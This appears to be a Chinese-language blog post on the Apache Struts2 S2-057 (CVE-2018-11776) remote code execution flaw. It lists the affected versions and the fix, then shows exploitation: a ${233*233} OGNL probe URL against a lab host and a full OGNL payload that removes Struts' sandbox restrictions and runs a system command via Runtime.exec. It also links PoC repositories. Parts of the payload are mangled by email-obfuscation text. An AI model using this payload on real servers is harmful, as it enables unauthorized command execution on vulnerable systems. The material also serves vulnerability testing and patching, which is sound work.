S2-057遠程代碼執行漏洞檢測與利用

Apache wiki更新了一個Struts2的遠程代碼執行漏洞(S2-057),漏洞威脅等級爲高危,漏洞對應的CVE編號爲CVE-2018-11776。 定義XML配置時如果沒有設置namespace的值,並且上層動作配置中並沒有設置或使用通配符namespace時,可能會導致遠程代碼執行漏洞的發生。同樣也可能因爲url標籤沒有設置value和action的值,並且上層動作並沒有設置或使用通配符namespace,從而導致遠程代碼執行漏洞的發生。

漏洞記錄

漏洞編號:S2-057(CVE-2018-11776)

漏洞影響:遠程代碼執行

受影響版本:<=Struts 2.3.34,Struts 2.5.16

漏洞修復:升級至最新版本

Apache wiki鏈接:https://cwiki.apache.org/confluence/display/WW/S2-057

利用條件

利用條件:

  • alwaysSelectFullNamespace操作元素沒有設置命名空間屬性,或者使用通配符。
  • 命名空間將由用戶從uri傳遞,並被解析爲OGNL表達式,最終導致遠程代碼執行漏洞。

檢測利用

本地驗證:https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057

在線驗證1:http://0day.websaas.com.cn/

詳細驗證:https://lgtm.com/blog/apache_struts_CVE-2018-11776
有效載荷:

http://192.168.1.15:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
$%7B233*233%7D爲url編碼,解碼爲:${233*233}

發現我們構造的payload執行了:
在這裏插入圖片描述
任意代碼執行

${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在這裏插入圖片描述

參考鏈接:
https://blog.csdn.net/qq_29277155/article/details/81950170
https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章